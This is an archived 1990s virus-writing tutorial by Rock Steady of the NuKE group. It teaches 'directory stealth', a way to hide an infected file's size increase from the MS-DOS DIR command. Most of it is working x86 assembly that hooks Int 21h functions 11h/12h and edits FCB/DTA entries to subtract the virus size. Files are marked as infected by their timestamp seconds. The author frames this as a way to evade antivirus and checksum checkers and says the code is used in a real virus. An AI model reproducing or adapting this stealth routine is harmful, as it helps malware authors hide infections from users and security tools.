HaCKeRz Kr0nlcKLeZ 1/HaCKeRz Kr0nlcKLeZ.iso/virus/virusprogramming/rstut007.txt

Text File | 1996-04-16 | 11.5 KB | 158 lines

                     *****************************
                     **   Directory Stealth     **
                     **                         **
                     **   By Rock Steady/NuKE   **
                     *****************************

  Stealth Viruses are the Viruses that I must admit Anti-Viral Queers
  Don't tend to like at all. Emagine if we added a Polymorphic feature into
  the Stealth Virus? But, if you want to Continue Writing Viruses you have
  to make them Stealth. MS-DOS Version 6.0 Now comes with Virus Scanners
  and CRC & Checksum Checkers. In order to stop many viruses, But it will
  NEVER stop the `Stealth' Virus that is SMART of those AV features!

  People think that there is ALOT of more INFECTED PCs since the virus
  threat, started in 1986-7. Even though in the beginning only 10 or so
  viruses were known, they Infected more systems, Compared to the viruses
  today, where we have about 1300 and growing. But the truth is LESS PCs
  are getting infect now, as people are now Virus Aware. With all the
  utilities out, any joker can stop and clean a virus in seconds. Come
  on, how many people MEMORIZED COMMAND.COM size? Out of my head its
  47845 (MS-Dos V5.0). A simple increase of size tells me I got a problem.

  A simple Stealth Feature every virus MUST have is the DOS `Dir' Stealth
  feature. That will NOT show you the INCREASE of file size, when the
  virus infects it. I have played with a few routines as such. I have
  tried reducing the File size in the FAT area, which results in the
  famous CHKDSK error reports of Loss Sectors, or Cross Links... And
  fixing them with CHKDSK will result in damaging the file for good.

  What can we do? How about reducing the File size Right AFTER its read
  by DOS or any Utilities and right BEFORE its display on the screen!
  Yeah that's an Idea, Here's how to go about it...

  %Theory%
  ~~~~~~~~
  First we must HOOK Int 21h, as every time a `DIR' is done, Int 21h
  function 11h & 12h is called! If you don't know how to Hook Interrupts
  Read RESIDENT VIRIIs Article in this NewsLetter.

   Int21_Handler:
          cmp     ah,11h                  ;Is a DOS `Dir' being done?
          je      dir_stealth             ;Yes, Jump to `DIR_STEALTH'
          cmp     ah,12h                  ;Is a DOR `Dir' Being done?
          je      dir_stealth             ;Yes, Jump to `DIR_STEALTH'

  Int21Call:
          jmp     dword ptr cs:[Int21]    ;Or Else Goto ORIGINAL Int 21h
          ret                             ;Is need for the CALL of below

  That's all that is needed in your Int21_Handler. Ofcourse if you are
  infecting file that are being Execute you add it ABOVE! Anyhow lets
  Explain the `DIR_STEALTH'

  Offset  Size   Description
    ────┼─────┼───────[Normal FCB]──────────────────────────────────
    00h │  1  │  Drive Number 00=current drive 01=A,02=B,03=C etc..
    01h │  8  │  Filename. Unused Spaces padded with Blanks
    09h │  3  │  Extension of Filename.
    0Ch │  2  │  Current block. points to block of records
    0Eh │  2  │  Record Size.
    10h │  4  │  FileSize in Bytes. (Low-order first, then high-order)
    14h │  2  │  Date of Last Write. YY-MM-DD into bits YYYY-YYYM-MMMD-DDDD
    16h │  2  │  Time of Last Write. HH:MM:SS into bits HHHH-HMMM-MMMS-SSSS
    18h │  4  │  Reserved
   *1Ch │  4  │  SAME `10h' but THIS FILESIZE gets printed on Screen!
    20h │  1  │  Offset of current record
    21h │  4  │  Relative Record

  * = Field Changed by virus.

  Extended FCB: Are Identical to the Normal FCB but, it has three new
  ~~~~~~~~~~~~  fields totalling 7 bytes. (That is why we add y to BX)
                The additional 7 bytes are added to the BEGINNING!


  Offset  Size   Description
    ────┼─────┼───────[Extended FCB]────────────────────────────────
   -07h │  1  │  ALWAYS FFh tells use this is an Extended FCB
   -06h │  5  │  Reserved for DOS
   -01h │  1  │  Attribute Byte

  So if we have an Extended FCB the first Byte will be FFh simply INC it
  and if its ZERO you got a Extended FCB! You can also CMP ES:[BX],FFh
  but that takes too many Bytes! Be COMPACT!!!

 %Algorithms%
 ~~~~~~~~~~~~
 CONDISTION: After calling Function 11h/12h (Int 21h) it will
       search with the contents in the FCB. (*.*) which the DS:DX
       registers point to the FCB. If successful it will DUPLICATE
       the specified of the FCB in the current DTA (Disk Transfer Area)
       And basically we will EDIT the info in the DTA!
 NOTE: Just because we are using the DTA doesn't mean this will work for
       function 4Eh/4Fh (Int 21h) that uses the DTA and ASCIIZ strings to
       search, that is a different procedure, though somewhat the same as
       this one. See Method #2, for that.

   Step 1. We call the Int 21h so we may have the results to play with
           BEFORE DOS displays them on screen.
   Step 2. Get the Current PSP, As the FCB is located inside the PSP
           in COM files its CS:0000 - CS:00FF. But in EXEs it can be any-
           where, Int21h/AH=51 (Undocemented) will do this for us.
   Step 3. Unmask the seconds (see if its infected) Quit if NOT
   Step 4. Get the current DTA
   Step 5. Test if it is Either an Extended FCB or Normal! If Extended
           Simple add 7h to the Address. (As Extended only have 7 bytes
           extra in the begining)
   Step 6. Minus File size from the DTA! & Restore Time Back

 ; Here it is... Method #1

   dir_stealth:
          pushf                   ;Fake an INT Call
          push    cs              ;Needed to return back HERE! (Virus)
          call    Int21Call       ;Call the interrupt (See `Int21_Handler')
          test    al,al           ;AL=00h if successful
          jnz     no_good         ;Not Successful. Errors Eg:No More Files

          push    ax
          push    bx      ;Save them since they will be used! So when
          push    es      ;We exit all is restored to as Before!
          mov     ah,51h  ;(Undocmented) Gets the Current PSP and puts
          int     21h     ;it into BX

          mov     es,bx         ;ES now has PSP segment Address
          cmp     bx,es:[16h]   ;Did we open a Good PSP?
          jnz     exit_man      ;No, PSP unavailable, Exit Dude
          mov     bx,dx         ;BX now points to the Original FCB in PSP
          mov     al,[bx]       ;AL now has the current drive
          push    ax            ;Save it to tell if its an Extended FCB
          mov     ah,2fh        ;Get DTA (Disk Transfer Address)
          int     21h
  ;Also before we start fiddling around we must know if we are working with
  ;And EXTENDED FCB or the Normal FCB, or else Major Problems! The Extended
  ;Has three fields appended to the normal one... (Above)

          pop     ax            ; AL = FFh if Extended FCB or else Drive #
          inc     al            ; Will tell us if we have an Extended FCB
          jnz     fcb_ok        ; No, We don't continue as normal
          add     bx,7h         ; Yes, we do, add 7h to BX pointer
  fcb_ok: mov     ax,es:[bx+17h]  ;Gets Seconds Field
          and     ax,1fh          ;Unmask to have SECONDS only
          xor     al,1dh          ;is it 58 seconds? (1d * 2)
          jnz     not_infected    ;Nope, okay its not infected
          and     byte ptr es:[bx+17h],0e0h   ;Restores seconds
          sub     es:[bx+1dh],virus_size      ;Subtract FileSize with Virii
          sbb     es:[bx+1fh],ax              ;Needed to fix up Bytes with
  not_infected:                               ;Borrowing
          pop     es              ;Ciao, Ciao
          pop     bx
          pop     ax
  no_good:iret             ;Pretend you came back from an Interrupt call!
  ;----------------------------The EnD-------------------------------------
                          Rock Steady / NuKE
                 `Feed my Frankenstein', Alice Cooper
  NOTE: This Code Works, Look at NuKE PoX V1.1 to see it...